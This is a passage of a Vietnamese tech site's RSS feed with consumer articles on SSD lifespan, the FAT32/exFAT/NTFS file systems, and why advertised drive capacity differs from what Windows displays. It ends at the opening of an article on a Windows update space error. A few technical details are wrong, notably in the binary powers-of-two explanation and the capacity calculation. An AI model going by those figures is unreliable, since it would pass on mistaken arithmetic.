<p>Nếu SSD của bạn sắp hỏng hoặc nếu bạn đã sở hữu một ổ SSD trong hơn 5 năm, thì điều an toàn nhất bạn nên làm là bắt đầu mua một ổ SSD khác. Trong khi đó, bạn có thể làm một số điều để kéo dài tuổi thọ của SSD:</p>
<ol>
<li>Tránh nhiệt độ quá cao ảnh hưởng đến ổ đĩa. Đảm bảo làm mát tốt trong PC của bạn.</li>
<li>Tránh mất điện và mọi dao động điện.</li>
<li>Giải phóng thêm một số dung lượng trên SSD của bạn để nó có thể di chuyển dữ liệu từ các khối xấu.</li>
</ol>
<p>Ngoài ra, bạn cũng có thể xem qua ưu và nhược điểm của các loại ổ cứng khác <a href="https://anonyviet.com/kien-thuc-ve-o-cung-hdd-ssd-va-cach-lua-chon-hop-voi-muc-dich-su-dung/">tại đây</a>.</p>
<h2>Câu hỏi thường gặp</h2>
<h3>SSD có tuổi thọ bao lâu và có thể bị lỗi như thế nào?</h3>
<p>Tuổi thọ trung bình của SSD là từ 7 đến 10 năm.  Tuy nhiên, SSD có thể bị lỗi do nhiều nguyên nhân, bao gồm: sự cố về tụ điện và bộ nguồn (nhất là khi mất điện đột ngột),  chu kỳ đọc/ghi hạn chế của bộ nhớ flash, và các lỗi vật lý khác.</p>
<h3>Tôi nên làm gì nếu nghi ngờ SSD của mình đang gặp vấn đề?</h3>
<p>Hãy sử dụng phần mềm giám sát ổ đĩa như CrystalDiskMark (Windows), Smart Reporter Lite (macOS) hoặc Hard Disk Sentinel (Linux) để kiểm tra tình trạng sức khỏe của SSD.  Nếu phát hiện lỗi, hãy sao lưu dữ liệu ngay lập tức và chuẩn bị thay thế SSD.</p>
<h3>Có thể khôi phục dữ liệu từ SSD bị lỗi không?</h3>
<p>Tùy thuộc vào mức độ nghiêm trọng của lỗi.  Nếu lỗi chỉ là do hệ thống tệp bị hỏng, bạn có thể sửa chữa bằng các công cụ tích hợp sẵn của hệ điều hành.  Tuy nhiên, nếu dữ liệu nằm trên các khối xấu, việc khôi phục có thể khó khăn hoặc không thể thực hiện được.  Vì vậy, sao lưu dữ liệu thường xuyên là rất quan trọng.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/5-dau-hieu-canh-bao-ssd-sap-bi-hu/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Sự khác nhau giữa FAT32, exFAT và NTFS là gì?</title>
		<link>https://anonyviet.com/su-khac-nhau-giua-fat32-exfat-va-ntfs-la-gi/</link>
					<comments>https://anonyviet.com/su-khac-nhau-giua-fat32-exfat-va-ntfs-la-gi/#respond</comments>
		
		<dc:creator><![CDATA[Ellyx13]]></dc:creator>
		<pubDate>Wed, 29 Dec 2021 23:56:51 +0000</pubDate>
				<category><![CDATA[Kiến thức]]></category>
		<category><![CDATA[exFAT]]></category>
		<category><![CDATA[FAT32]]></category>
		<category><![CDATA[format]]></category>
		<category><![CDATA[ntfs]]></category>
		<category><![CDATA[ổ cứng]]></category>
		<category><![CDATA[định dạng ổ cứng]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=38053</guid>

					<description><![CDATA[Cho dù bạn đang định dạng ổ đĩa trong, ổ đĩa ngoài, ổ USB hay thẻ SD, thì Windows cũng cho phép bạn lựa chọn sử dụng ba File System &#8211; Hệ thống tập tin khác nhau: NTFS, FAT32 và exFAT. Cửa sổ Format trong Windows không giải thích sự khác biệt, nhưng trong bài [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><strong>Cho dù bạn đang định dạng ổ đĩa trong, ổ đĩa ngoài, ổ USB hay thẻ SD, thì Windows cũng cho phép bạn lựa chọn sử dụng ba File System &#8211; Hệ thống tập tin khác nhau: NTFS, FAT32 và exFAT. Cửa sổ Format trong Windows không giải thích sự khác biệt, nhưng trong bài viết này thì có.</strong></p>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2021/12/hard-drive-being-reformatting-using-a-windows-computer.jpg" alt="Sự khác biệt giữa FAT32, exFAT và NTFS là gì?" width="900" height="506" title="Sự khác nhau giữa FAT32, exFAT và NTFS là gì? 69"></p>
<p>File System thể hiện các cách tổ chức ổ đĩa. Nó chỉ định cách dữ liệu được lưu trữ trên ổ đĩa và những loại thông tin nào có thể được đính kèm vào tập tin — tên tập tin, quyền và các thuộc tính khác. Windows hỗ trợ ba File System khác nhau. NTFS là File System hiện đại nhất. Windows sử dụng NTFS cho ổ đĩa hệ thống và mặc định cho hầu hết các ổ đĩa không di động.</p>
<p>FAT32 là File System cũ hơn, không hiệu quả bằng NTFS và không hỗ trợ một bộ tính năng lớn, nhưng cung cấp khả năng tương thích cao hơn với các hệ điều hành khác. exFAT là một sự thay thế hiện đại cho FAT32 — và nhiều thiết bị cũng như hệ điều hành hỗ trợ nó hơn NTFS — nhưng nó gần như không phổ biến hơn FAT32.</p>
<h2 role="heading">NT File System (NTFS)</h2>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2021/12/a-spinning-hard-drive-platter-being-read-by-a-write-head.jpg" alt="Sự khác nhau giữa FAT32, exFAT và NTFS là gì? 36" width="900" height="506" title="Sự khác nhau giữa FAT32, exFAT và NTFS là gì? 70"></p>
<p>NTFS là File System hiện đại mà Windows thích sử dụng theo mặc định. Khi bạn cài đặt Windows, nó sẽ định dạng ổ đĩa của bạn bằng File System NTFS. NTFS có giới hạn kích thước tập tin và phân vùng rất lớn về mặt lý thuyết nên bạn sẽ không lo về vấn đề này. NTFS lần đầu tiên xuất hiện trong các phiên bản dành cho người tiêu của Windows với Windows XP, mặc dù ban đầu nó ra mắt với Windows NT.</p>
<p>NTFS bao gồm các tính năng hiện đại không có sẵn cho FAT32 và exFAT. NTFS hỗ trợ quyền đối với tập tin để bảo mật, nhật ký có thể giúp <a href="https://anonyviet.com/lay-lai-du-lieu-bi-xoa-tren-windows-10-bang-windows-file-recovery/">nhanh chóng khôi phục lỗi</a> nếu máy tính của bạn gặp sự cố, bản sao ẩn để sao lưu, mã hóa, giới hạn hạn ngạch đĩa, liên kết cứng và nhiều tính năng khác. Các tính năng này rất quan trọng đối với ổ đĩa hệ điều hành — đặc biệt là quyền đối với tập tin.</p>
<p>Phân vùng hệ thống Windows của bạn phải là NTFS.  Mặc dù có nhiều lợi thế, nhưng điểm yếu của NTFS là khả năng tương thích. Nó sẽ hoạt động với tất cả các phiên bản Windows và Windows XP — nhưng nó có khả năng tương thích hạn chế với các hệ điều hành khác. Theo mặc định, máy Mac chỉ có thể đọc các ổ đĩa NTFS chứ không thể ghi. Một số bản phân phối Linux có thể cho phép hỗ trợ ghi NTFS, nhưng số còn lại thì chỉ cho phép đọc. Không bản PlayStation nào của Sony hỗ trợ NTFS. Ngay cả Xbox 360 của Microsoft cũng không thể đọc ổ đĩa NTFS, mặc dù Xbox Series X, S và One thì có thể. Các thiết bị khác thậm chí ít có khả năng hỗ trợ NTFS hơn.</p>
<p><strong>Khả năng tương thích:</strong> Hoạt động với tất cả các phiên bản Windows, nhưng chỉ đọc với Mac theo mặc định và với một số bản phân phối Linux khác. Các thiết bị khác — ngoại trừ Xbox One của Microsoft — có thể sẽ không hỗ trợ NTFS.</p>
<p><strong>Giới hạn:</strong> Không có giới hạn kích thước tập tin hoặc kích thước phân vùng thực tế.</p>
<p><strong>Sử dụng lý tưởng:</strong> Sử dụng NTFS cho ổ đĩa hệ thống Windows.</p>
<h2 role="heading">File Allocation Table 32 (FAT32)</h2>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2021/12/flash-drive-laying-on-a-laptop-computers-keyboard.jpg" alt="Sự khác nhau giữa FAT32, exFAT và NTFS là gì? 37" width="900" height="506" title="Sự khác nhau giữa FAT32, exFAT và NTFS là gì? 71"></p>
<p>FAT32 là File System cũ nhất trong ba File System có sẵn cho Windows. Nó đã được giới thiệu trong Windows 95 để thay thế File System FAT16 cũ hơn được sử dụng trong MS-DOS và Windows 3.</p>
<p>File System FAT32 cũng có những ưu điểm và nhược điểm. Lợi thế lớn nhất là vì nó quá cũ, nên FAT32 trở thành tiêu chuẩn thực tế. Ổ đĩa flash bạn mua thường sẽ được định dạng với FAT32 để có khả năng tương thích tối đa trên không chỉ máy tính hiện đại mà còn trên các thiết bị khác như console và bất cứ thứ gì có cổng USB.</p>
<p>Tuy nhiên, những nó cũng có những hạn chế chí mạng. Các tập tin đơn trên ổ FAT32 không được nặng quá 4GB — đó là mức tối đa. Một phân vùng FAT32 cũng phải nhỏ hơn 8TB, thừa nhận là nó chỉ hạn chế cho những bạn sử dụng ổ đĩa có dung lượng siêu cao.</p>
<p>Mặc dù FAT32 phù hợp với ổ đĩa flash USB và các phương tiện bên ngoài khác. Nhưng nó thiếu các quyền và các tính năng bảo mật khác được tích hợp trong File System NTFS hiện đại hơn. Ngoài ra, các phiên bản Windows hiện đại không còn có thể được cài đặt vào ổ đĩa được định dạng bằng FAT32; chúng phải được cài đặt vào ổ đĩa có định dạng NTFS.</p>
<p><strong>Khả năng tương thích:</strong> Hoạt động với tất cả các phiên bản Windows, Mac, Linux, console và thực tế là bất kỳ thứ gì có cổng USB.</p>
<p><strong>Giới hạn:</strong> Kích thước tập tin tối đa 4GB, kích thước phân vùng tối đa 8TB.</p>
<p><strong>Sử dụng lý tưởng:</strong> Sử dụng nó trên các ổ đĩa di động nơi bạn cần khả năng tương thích tối đa với nhiều loại thiết bị nhất, với điều kiện bạn không có bất kỳ tập tin nào có kích thước từ 4GB trở lên.</p>
<h2 role="heading">Extended File Allocation Table (exFAT)</h2>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2021/12/person-plugging-a-flash-drive-into-a-laptop-computer.jpg" alt="Sự khác nhau giữa FAT32, exFAT và NTFS là gì? 38" width="488" height="263" title="Sự khác nhau giữa FAT32, exFAT và NTFS là gì? 72"></p>
<p>File System exFAT được giới thiệu vào năm 2006 và được thêm vào các phiên bản Windows cũ hơn với các bản cập nhật cho Windows XP và Windows Vista. exFAT được tối ưu hóa cho ổ đĩa flash — được thiết kế để trở thành một File System nhẹ như FAT32, nhưng không có các tính năng bổ sung của NTFS cũng như không có giới hạn của FAT32.</p>
<p>Giống như NTFS, exFAT có giới hạn rất lớn về kích thước tập tin và phân vùng, cho phép bạn lưu trữ tập tin lớn hơn nhiều so với 4 GB mà FAT32 cho phép.</p>
<p>Mặc dù exFAT không hoàn toàn vượt trội hơn khả năng tương thích của FAT32, nhưng nó tương thích rộng rãi hơn NTFS. Trong khi macOS hỗ trợ chỉ đọc cho NTFS, thì máy Mac cung cấp hỗ trợ đọc-ghi đầy đủ cho exFAT. Ổ đĩa exFAT có thể được truy cập trên Linux bằng cách cài đặt phần mềm thích hợp. PlayStation5 và PlayStation 4 hỗ trợ exFAT; PlayStation 3 thì không. Xbox Series X, S và One hỗ trợ exFAT, nhưng Xbox 360 thì không.</p>
<p><strong>Khả năng tương thích:</strong> Hoạt động với tất cả các phiên bản Windows và các phiên bản macOS hiện đại, nhưng yêu cầu phần mềm bổ sung trên Linux. Nhiều thiết bị hỗ trợ exFAT hơn hỗ trợ NTFS, nhưng một số — đặc biệt là những thiết bị cũ hơn — có thể chỉ hỗ trợ FAT32.</p>
<p><strong>Giới hạn:</strong> Không có giới hạn kích thước tập tin hoặc kích thước phân vùng thực tế.</p>
<p>Sử dụng lý tưởng: Sử dụng nó khi bạn cần kích thước tập tin lớn hơn và giới hạn phân vùng hơn FAT32 và khi bạn cần khả năng tương thích cao hơn NTFS. Giả sử rằng mọi thiết bị bạn muốn sử dụng ổ đĩa có hỗ trợ exFAT, bạn nên định dạng thiết bị của mình bằng exFAT thay vì FAT32.</p>
<p>NTFS lý tưởng cho ổ đĩa trong, trong khi exFAT thường lý tưởng cho ổ đĩa flash. Tuy nhiên, đôi khi bạn có thể cần phải định dạng ổ đĩa ngoài bằng FAT32 nếu exFAT không được hỗ trợ trên thiết bị bạn cần sử dụng.</p>
<h2>Câu hỏi thường gặp</h2>
<h3>FAT32, exFAT và NTFS khác nhau như thế nào?</h3>
<p>FAT32 là hệ thống tập tin cũ nhất, có khả năng tương thích rộng nhưng giới hạn kích thước tập tin (4GB) và phân vùng (8TB). exFAT là sự thay thế hiện đại hơn, loại bỏ các giới hạn này và có khả năng tương thích tốt hơn NTFS. NTFS là hệ thống tập tin hiện đại nhất của Windows, cung cấp nhiều tính năng tiên tiến như bảo mật và nhật ký, nhưng khả năng tương thích với các hệ điều hành khác hạn chế hơn.</p>
<h3>Tôi nên sử dụng hệ thống tập tin nào cho ổ đĩa flash USB?</h3>
<p>Đối với ổ đĩa flash, exFAT thường là lựa chọn tốt nhất vì nó hỗ trợ các tập tin lớn hơn và có khả năng tương thích rộng rãi hơn NTFS. Tuy nhiên, nếu bạn cần khả năng tương thích tối đa với các thiết bị cũ hơn, FAT32 vẫn là một lựa chọn tốt, miễn là kích thước tập tin của bạn không vượt quá 4GB.</p>
<h3>Hệ thống tập tin nào tốt nhất cho ổ đĩa hệ thống Windows?</h3>
<p>NTFS là hệ thống tập tin được khuyến nghị cho ổ đĩa hệ thống Windows vì nó cung cấp các tính năng bảo mật và hiệu suất tốt nhất.  Các hệ điều hành khác có thể không hỗ trợ ghi vào ổ NTFS, nhưng khả năng đọc vẫn có thể được thực hiện.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/su-khac-nhau-giua-fat32-exfat-va-ntfs-la-gi/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Tại sao ổ cứng 1TB nhưng hiển thị chỉ có 931GB</title>
		<link>https://anonyviet.com/tai-sao-o-cung-1tb-nhung-hien-thi-chi-co-931gb/</link>
					<comments>https://anonyviet.com/tai-sao-o-cung-1tb-nhung-hien-thi-chi-co-931gb/#respond</comments>
		
		<dc:creator><![CDATA[Dark Sniffer]]></dc:creator>
		<pubDate>Tue, 23 Nov 2021 02:51:29 +0000</pubDate>
				<category><![CDATA[Kiến thức]]></category>
		<category><![CDATA[dung lượng ổ cứng]]></category>
		<category><![CDATA[hdd]]></category>
		<category><![CDATA[ổ cứng]]></category>
		<category><![CDATA[ssd]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=36800</guid>

					<description><![CDATA[Đã bao nhiêu lần bạn mở hộp một chiếc máy tính, điện thoại hoặc ổ đĩa mới, chỉ để bị sốc khi nhận ra nó không còn nhiều dung lượng lưu trữ như thông tin trên hộp? SSD 512GB đó thực sự chỉ có thể sử dụng 477GB hoặc ổ cứng 1TB chỉ có thể [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><strong>Đã bao nhiêu lần bạn mở hộp một chiếc máy tính, điện thoại hoặc ổ đĩa mới, chỉ để bị sốc khi nhận ra nó không còn nhiều dung lượng lưu trữ như thông tin trên hộp? SSD 512GB đó thực sự chỉ có thể sử dụng 477GB hoặc ổ cứng 1TB chỉ có thể chỉ còn 931GB dung lượng.</strong></p>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2021/11/real-hdd-size.jpg" alt="Tại sao ổ cứng 1TB nhưng chỉ có 931GB dung lượng thực tế" width="707" height="354" title="Tại sao ổ cứng 1TB nhưng hiển thị chỉ có 931GB 78"></p>
<p>Có một vài lý do chính giải thích tại sao điều này lại xảy ra. Hãy cùng xem tại sao dung lượng được quảng cáo trên ổ đĩa thường không giống với dung lượng thực.</p>
<h2>Hệ điều hành và các ứng dụng được cài đặt sẵn</h2>
<p>Lý do cơ bản nhất khiến dung lượng ổ đĩa thực tế thấp hơn bạn mong đợi là do ổ đĩa đã có sẵn một số dữ liệu khi bạn mua nó. Đây không phải là trường hợp của các ổ đĩa di động như ổ đĩa flash hoặc thẻ SD, nhưng là yếu tố chính đối với điện thoại và máy tính cài sẵn.</p>
<p>Khi bạn mua một chiếc máy tính, hệ điều hành (chẳng hạn như <a href="https://www.microsoft.com/en-us/windows" target="_blank" rel="noopener">Windows</a> hoặc macOS) chiếm một phần lớn dung lượng. Các tệp hệ điều hành này rất cần thiết để hệ thống chạy được, vì vậy bạn không nên đụng tới chúng.</p>
<p>Ví dụ: trên hệ thống của mình, thư mục C:\ Windows chiếm 25GB. Đó là khoảng một phần mười của toàn bộ dung lượng ổ đĩa có sẵn.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2021/11/Windows-Folder-Size-Background.jpg" alt="Tại sao ổ cứng 1TB nhưng hiển thị chỉ có 931GB 43" width="600" height="361" title="Tại sao ổ cứng 1TB nhưng hiển thị chỉ có 931GB 79"></p>
<p>Tuy nhiên, không chỉ các tệp hệ điều hành mới chiếm dung lượng. Hầu hết các hệ điều hành bao gồm các ứng dụng bổ sung mà bạn cài đặt. Điều này bao gồm mọi thứ từ bloatware Windows 10 đến các ứng dụng tích hợp trên macOS như GarageBand.</p>
<p>Mặc dù về mặt kỹ thuật chúng không phải là một phần của hệ điều hành, nhưng chúng đi kèm với nó và do đó sẽ chiếm dung lượng. Bạn thường có thể xóa những thứ này để lấy lại không gian ổ cứng.</p>
<h2>Cách máy tính đo không gian ổ cứng</h2>
<p>Mặc dù các ứng dụng được cài đặt sẵn chắc chắn là thường rất quan trọng, nhưng lý do lớn nhất khiến bạn không nhận được toàn bộ dung lượng được quảng cáo là do máy tính đo lường các con số khác với con người.</p>
<h3>Giải thích số nhị phân</h3>
<div class="jeg_video_container jeg_video_content"><iframe loading="lazy" title="How to Read and Write Binary (In 5 Minutes)" width="500" height="281" src="https://www.youtube.com/embed/Ieq8AR8krrA?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe></div>
<p>Máy tính sử dụng các tiền tố giá trị tiêu chuẩn, bao gồm &#8220;kilo&#8221; cho nghìn, &#8220;mega&#8221; cho triệu, &#8220;giga&#8221; cho tỷ, &#8220;tera&#8221; cho nghìn tỷ,&#8230;</p>
<p>Mọi người, bao gồm cả các nhà sản xuất đĩa cứng, sử dụng hệ thống thập phân, hệ thống đo lường các số có cơ số là 10. Vì vậy, khi chúng ta nói &#8220;500 gigabyte&#8221;, chúng có nghĩa là 500 tỷ byte.</p>
<p>Tuy nhiên, máy tính sử dụng hệ nhị phân có cơ số 2, trong đó tất cả các số đều là 1 hoặc 0. Nếu bạn không quen, dưới đây là danh sách các số từ 1-10 được viết dưới dạng nhị phân:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">1
10
11
100
101
110
111
1000
1001
1010</pre>
<p>Như bạn có thể thấy, trong hệ nhị phân, 2^1 đại diện cho giá trị thập phân 1, 2^2 bằng 4, 2^3 bằng 8, 2^4 bằng 16,&#8230; Mỗi vị trí của chữ số mới trong hệ nhị phân làm tăng giá trị của số đó lên một lũy thừa của hai. 2^10, bằng 1,024.</p>
<h3>Đo lường nhị phân và thập phân</h3>
<p>Bây giờ chúng ta biết tại sao máy tính sử dụng 1,024 thay vì 1,000 để xác định các tiền tố phổ biến này. Đối với máy tính, một kilobyte là 1.024 byte, không phải 1.000 byte như đối với con người. Cũng giống với các giá trị khác, một megabyte là 1,024 kilobyte và một gigabyte là 1,024 megabyte.</p>
<p>Lấy một vài ví dụ cho dễ hiểu hơn nhé, giả sử bạn mua một ổ SSD 250 GB.  Ổ đĩa đó chứa 250.000.000.000 byte, nhưng máy tính không hiển thị theo cách đó.</p>
<p>Quay ngược lại, chúng ta có thể chia cho 1,024 ba lần (một lần để chuyển đổi byte thành kilobyte, một lần nữa để chuyển đổi kilobyte thành megabyte và lần cuối cùng để chuyển đổi megabyte thành gigabyte) để xem dung lượng này thực sự là bao nhiêu:</p>
<pre class="EnlighterJSRAW" data-enlighter-language="generic">250,000,000,000 / (1,024 * 1,024 * 1,024) = 232,830,643,653 bytes, or 232.83GB</pre>
<p>Kiểm tra ổ đĩa 250GB trong Windows cho thấy dung lượng tối đa của nó là 232GB, chính xác như chúng ta tính. Mất khoảng 18GB so với dung lượng được quảng cáo.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2021/11/Windows-Disk-Storage-Space.jpg" alt="Tại sao ổ cứng 1TB nhưng hiển thị chỉ có 931GB 44" width="503" height="296" title="Tại sao ổ cứng 1TB nhưng hiển thị chỉ có 931GB 80"></p>
<p>Và đĩa càng lớn thì sự khác biệt giữa không gian đo được và không gian thực càng lớn. Ví dụ: ổ đĩa 1TB (1.000GB) có 931GB dung lượng.</p>
<h3>Gigabyte và Gibibyte</h3>
<div class="jeg_video_container jeg_video_content"><iframe loading="lazy" title="Decimal vs Binary for Measuring Storage as Fast as Possible" width="500" height="281" src="https://www.youtube.com/embed/i3_JnetivIQ?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe></div>
<p>Vậy tại sao lại có sự chênh lệch như vậy. Tại sao các nhà sản xuất ổ cứng không cung cấp dung lượng thực khi quảng cáo? Về mặt kỹ thuật thì họ có làm.</p>
<p>Định nghĩa chính xác của &#8220;kilo&#8221; là lũy thừa 1.000 và của 1,024 là &#8220;kibi.&#8221; Ủy ban Kỹ thuật Điện Tử Quốc tế đã công bố các tiêu chuẩn đo lường dữ liệu ở dạng nhị phân để giải quyết sự nhầm lẫn này.</p>
<p>Trong khi một kilobyte (KB) đại diện cho 1.000 byte, một kibibyte (KiB) đại diện cho 1.024 byte. Nó giống nhau đối với mebibyte (MiB), gibibyte (GiB), tebibyte (TiB), v.v.</p>
<p>Vì một số lý do, Windows sử dụng tiền tố &#8220;GB&#8221; không chính xác nhưng nó đo dung lượng bằng gibibyte. Các hệ điều hành khác, như macOS, đo chính xác 1GB là một tỷ byte. Do đó, cùng một ổ 250GB được kết nối với máy Mac sẽ có tổng dung lượng 250GB.</p>
<h2>Phân vùng ổ đĩa bổ sung</h2>
<p>Ngoài những điều trên, một nguyên nhân tiềm ẩn khác làm giảm tổng dung lượng ổ đĩa là các phân vùng bổ sung.</p>
<p>Trong trường hợp bạn không biết, bạn có thể tách các ổ đĩa vật lý thành các phần logic khác nhau, được gọi là phân vùng. Phân vùng ổ cứng cho phép bạn cài đặt hai hệ điều hành khác nhau trên một ổ đĩa, như <a href="https://anonyviet.com/huong-dan-cai-song-song-ubuntu-voi-windows-10-moi-nhat/">dual boot giữa Windows và Linux.</a></p>
<p>Nhà sản xuất thường cài một phân vùng khôi phục trên ổ đĩa, nhằm cho phép bạn thiết lập lại hệ thống của mình trong trường hợp có sự cố nghiêm trọng. Giống như bất kỳ dữ liệu nào khác, các tệp này chiếm dung lượng trên ổ đĩa. Nhưng vì các phân vùng khôi phục thường bị ẩn khỏi chế độ xem tiêu chuẩn, nên bạn không thể thấy chúng.</p>
<p>Để xem các phân vùng này trên ổ đĩa của bạn trong Windows, hãy nhấp chuột phải vào Start menu hoặc nhấn Win + X và chọn Disk Management. Tại đây, bạn có thể thấy từng ổ đĩa trên hệ thống của mình và các phân vùng tạo nên nó. Nếu bạn phân vùng có tên <strong>Restore</strong>, <strong>Recovery </strong>hoặc tương tự, thì đó là phân vùng khôi phục của bạn.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2021/11/Windows-10-Disk-Management-670x405-1.jpg" alt="Tại sao ổ cứng 1TB nhưng hiển thị chỉ có 931GB 45" width="503" height="304" title="Tại sao ổ cứng 1TB nhưng hiển thị chỉ có 931GB 81"></p>
<p>Trong hầu hết các trường hợp, bạn có thể xóa các phân vùng này và lấy lại không gian đó. Tuy nhiên, tốt nhất là bạn đừng nên làm như vậy. Chúng giúp khôi phục hệ thống của bạn dễ dàng hơn rất nhiều và việc thu hồi một chút dung lượng nhỏ không đáng để bạn gặp rắc rối khi khôi phục hệ thống của bạn theo cách thủ công.</p>
<h2>Các tính năng ẩn cũng sử dụng không gian ổ cứng</h2>
<p>Cuối cùng, hầu hết các hệ điều hành đều chứa các tính năng chiếm dung lượng nhưng không tồn tại dưới dạng tệp thực tế. Ví dụ: dịch vụ Shadow Copy của Windows được sử dụng để cung cấp tài nguyên cho Previous Versions và chức năng System Restore.</p>
<p>System Restore cho phép bạn quay lại thời điểm trước đó nếu hệ thống của bạn không hoạt động bình thường, trong khi Previous Versions giữ bản sao của các tệp cá nhân của bạn để bạn có thể hoàn tác các thay đổi. Tất nhiên, cả hai đều cần không gian để hoạt động.</p>
<p>Để xem và thay đổi mức độ sử dụng không gian ổ cứng của các tính năng Shadow Copy, hãy nhấn Win + Pause để mở nhanh menu <strong>About</strong> trong ứng dụng Settings. Từ đây, nhấp vào <strong>System protection</strong> ở phía bên phải. Trong cửa sổ hiện ra, chọn ổ đĩa của bạn từ danh sách và chọn <strong>Configure.</strong></p>
<p>Bạn sẽ thấy một hộp thoại mới cho phép bạn tắt hoàn toàn tính năng bsystem protection (mặc dù mình không khuyến khích điều này). Bên dưới, bạn sẽ thấy mức sử dụng hiện tại và có thể điều chỉnh số lượng tối đa mà Windows sử dụng. Ở đâu đó khoảng 10 phần trăm là đẹp rồi.</p>
<p><img decoding="async" class="size-full  aligncenter" src="https://anonyviet.com/wp-content/uploads/2021/11/system-protection-disk-allocation-system-restore-points.jpg" alt="Tại sao ổ cứng 1TB nhưng hiển thị chỉ có 931GB 46" width="675" height="396" title="Tại sao ổ cứng 1TB nhưng hiển thị chỉ có 931GB 82"></p>
<h2>Bây giờ bạn đã biết cách máy tính tính toán không gian ổ cứng</h2>
<p>Các yếu tố được thảo luận ở đây giải thích sự khác biệt về không gian lưu trữ được quảng cáo và thực tế trên điện thoại, ổ đĩa hoặc các thiết bị lưu trữ khác. Ngoài ra, bạn <a href="https://anonyviet.com/lenh-tren-windows-10-khien-o-cung-bi-hong/">không nên sử dụng những lệnh trong bài viết này vì nó có thể làm hỏng ổ cứng</a>.</p>
<h2>Câu hỏi thường gặp</h2>
<h3>Tại sao ổ cứng 1TB của tôi chỉ hiển thị khoảng 931GB?</h3>
<p>Sự khác biệt giữa dung lượng được quảng cáo (1TB) và dung lượng hiển thị (khoảng 931GB) là do sự khác nhau giữa cách con người và máy tính tính toán dung lượng lưu trữ. Con người sử dụng hệ thập phân (cơ số 10), trong khi máy tính sử dụng hệ nhị phân (cơ số 2).  1GB cho máy tính thực tế là 1,024 MB (không phải 1,000 MB), dẫn đến sự chênh lệch này.</p>
<h3>Ngoài sự khác biệt về đơn vị tính toán, còn lý do nào khác khiến dung lượng ổ cứng thấp hơn quảng cáo không?</h3>
<p>Có, hệ điều hành, các ứng dụng được cài đặt sẵn và các phân vùng ẩn (như phân vùng phục hồi) cũng chiếm một phần dung lượng đáng kể trên ổ cứng.  Dung lượng này không được tính toán vào dung lượng khả dụng cho người dùng.</p>
<h3>Tôi có thể lấy lại dung lượng đã mất không?</h3>
<p>Bạn có thể xóa các ứng dụng không cần thiết và các tệp không dùng đến để giải phóng thêm dung lượng. Tuy nhiên, dung lượng bị mất do sự khác biệt trong hệ thống tính toán dung lượng là không thể lấy lại.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://anonyviet.com/tai-sao-o-cung-1tb-nhung-hien-thi-chi-co-931gb/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Cách sửa lỗi &#8220;Windows needs more space&#8221; khi cập nhật Windows 10</title>
		<link>https://anonyviet.com/loi-windows-needs-more-space-khi-update-windows/</link>
					<comments>https://anonyviet.com/loi-windows-needs-more-space-khi-update-windows/#respond</comments>
		
		<dc:creator><![CDATA[Ellyx13]]></dc:creator>
		<pubDate>Sat, 10 Apr 2021 13:26:15 +0000</pubDate>
				<category><![CDATA[Windows 7/8/10/11]]></category>
		<category><![CDATA[dung lượng ổ cứng]]></category>
		<category><![CDATA[ổ cứng]]></category>
		<category><![CDATA[update windows]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[Windows needs more space]]></category>
		<category><![CDATA[windows update]]></category>
		<guid isPermaLink="false">https://anonyviet.com/?p=26180</guid>

					<description><![CDATA[Các bản cập nhật Windows 10 cung cấp các tính năng mới nhất và cải thiện độ bảo mật cho hệ điều hành của bạn. Vì lý do này, nên bạn có thể muốn cập nhật PC của mình thường xuyên hơn. Nhưng trước khi quá trình cập nhật bắt đầu, Windows sẽ kiểm tra [&#8230;]]]></description>
										<content:encoded><![CDATA[<p><strong>Các bản cập nhật Windows 10 cung cấp các tính năng mới nhất và cải thiện độ bảo mật cho hệ điều hành của bạn. Vì lý do này, nên bạn có thể muốn cập nhật PC của mình thường xuyên hơn. Nhưng trước khi quá trình cập nhật bắt đầu, Windows sẽ kiểm tra dung lượng ổ đĩa của bạn liệu có đủ cho bản cập nhật mới hay không. Nếu bạn thấy thông báo &#8220;Windows needs more space&#8221; có nghĩa là ổ cứng bạn không đủ dung lượng. Đây là 4 cách để khắc phục lỗi trên.</strong></p>
<p><img decoding="async" class="aligncenter  size-full" src="https://anonyviet.com/wp-content/uploads/2021/04/33.jpg" alt="Sửa lỗi Windows needs more space" width="563" height="281" title="Cách sửa lỗi &quot;Windows needs more space&quot; khi cập nhật Windows 10 88"></p>
<p>Nếu bạn không có đủ dung lượng ổ đĩa, bạn sẽ thấy một thông báo có nội dung, Windows cần thêm dung lượng. Và trong bài viết này, mình sẽ hướng dẫn khắc phục vấn đề đó.</p>
<h2>Bạn cần bao nhiêu dung lượng để cập nhật Windows 10?</h2>
